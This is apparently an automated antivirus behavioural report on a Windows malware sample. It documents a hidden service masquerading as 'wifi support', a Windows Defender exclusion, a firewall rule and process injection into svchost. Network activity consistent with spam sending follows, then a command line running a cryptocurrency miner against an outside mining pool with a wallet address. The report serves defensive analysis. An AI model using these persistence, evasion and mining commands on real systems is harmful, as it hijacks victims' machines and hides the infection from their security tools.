Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\mtxczcfz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mtxczcfz] 'ImagePath' = '%WINDIR%\SysWOW64\mtxczcfz\tgspivak.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mtxczcfz] 'ImagePath' = '%WINDIR%\SysWOW64\mtxczcfz\tgspivak.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mtxczcfz' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\tgspivak.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\tgspivak.exe to %WINDIR%\syswow64\mtxczcfz\tgspivak.exe
Deletes itself.
Network activity
Connects to
- 'mx#.#ifty.com':25
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.#pify.org/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK co#.net
- DNS ASK mx.##ekkq.net
- DNS ASK th##kq.net
- DNS ASK ne###ape.net
- DNS ASK ch##.grindr.com
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK sm####.laposte.net
- DNS ASK la##ste.net
- DNS ASK ja###.implyit.co.za
- DNS ASK sr####pkzn.co.za
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK mb###.#x.proofpoint.com
- DNS ASK be###hire.ca
- DNS ASK mb##.net
- DNS ASK google.com
- DNS ASK ev#.net
- DNS ASK ar####itectos.net
- DNS ASK so####2.sohu.com
- DNS ASK so##.com
- DNS ASK an##eso.net
- DNS ASK ya##o.fr
- DNS ASK mx###r.bell.ca
- DNS ASK ct#.ca
- DNS ASK mx##.mail.com
- DNS ASK do##or.com
- DNS ASK aspmx.l.google.com
- DNS ASK em##re.ca
- DNS ASK mx.##nta.net
- DNS ASK co###wave.com
- DNS ASK ma##.com
- DNS ASK au######cinformation.net
- DNS ASK mx####.carrierzone.com
- DNS ASK at###obal.net
- DNS ASK mx##.gmx.net
- DNS ASK gm#.com
- DNS ASK al##el.net
- DNS ASK mx#.#ydomain.ro
- DNS ASK vo###one.net.gr
- DNS ASK ma##.#tlanticbb.net
- DNS ASK at###ticbb.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK wi###wslive.com
- DNS ASK ip#.##e-online.de
- DNS ASK he###ian.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK ma##.bayern.de
- DNS ASK bl##.bayern.de
- DNS ASK mx.###cali.co.uk
- DNS ASK li##one.net
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK wh###her.org
- DNS ASK dn.##rlep.net
- DNS ASK ve##ze.us
- DNS ASK me.com
- DNS ASK ti##ara.net
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.id
- DNS ASK mx#.###.#ailpod1-cph3.one.com
- DNS ASK sr##t.com
- DNS ASK ve##.com
- DNS ASK mx.####re.axigen.com
- DNS ASK mx.##timum.net
- DNS ASK op###line.net
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK zu####.biggoods.net
- DNS ASK mx.##a.untd.com
- DNS ASK ne##ero.com
- DNS ASK in#####2.metrocast.net
- DNS ASK me###cast.net
- DNS ASK he#####g.yourfort.net
- DNS ASK mx#.#ifty.com
- DNS ASK ni##y.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK nt###rld.com
- DNS ASK mx#.#omcast.net
- DNS ASK eb#.de
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ve##zon.net
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ly##s.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK sm##.##b.shawcable.net
- DNS ASK sh#w.ca
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho##ail.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK co##ast.net
- DNS ASK ss###nline.de
- DNS ASK ea###link.net
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK mx#.##rthlink.net
- DNS ASK f1###ing.net
- DNS ASK e.##esa.net
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK si#####reekwater.org
- DNS ASK sm####.eastlink.ca
- DNS ASK hf#.#astlink.ca
- DNS ASK mx#.##il.icloud.com
- DNS ASK ic##ud.com
- DNS ASK ma####.firepixel.com
- DNS ASK wa##inn.com
- DNS ASK pe###epc.com
- DNS ASK ma##.####sonandalexander.com
- DNS ASK to#####andalexander.com
- DNS ASK ya##o.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK td##nk.ca
- DNS ASK me##a.net
- DNS ASK mx.##.#tinternet.com
- DNS ASK bt###ernet.com
- DNS ASK mx.##deotron.ca
- DNS ASK vi###tron.ca
- DNS ASK mx###.cntcloud.com
- DNS ASK an###anet.net
- DNS ASK fa####a.palkr.net
- DNS ASK co######tialproducts.net
- DNS ASK mx###.owm.bell.net
- DNS ASK sy###tico.ca
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK gm#.net
- DNS ASK mx###.##tispameurope.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mtxczcfz\tgspivak.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mtxczcfz\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\tgspivak.exe" %WINDIR%\SysWOW64\mtxczcfz\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mtxczcfz binPath= "%WINDIR%\SysWOW64\mtxczcfz\tgspivak.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mtxczcfz "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mtxczcfz' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mtxczcfz\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\tgspivak.exe" %WINDIR%\SysWOW64\mtxczcfz\
- '%WINDIR%\syswow64\sc.exe' create mtxczcfz binPath= "%WINDIR%\SysWOW64\mtxczcfz\tgspivak.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mtxczcfz "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mtxczcfz
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
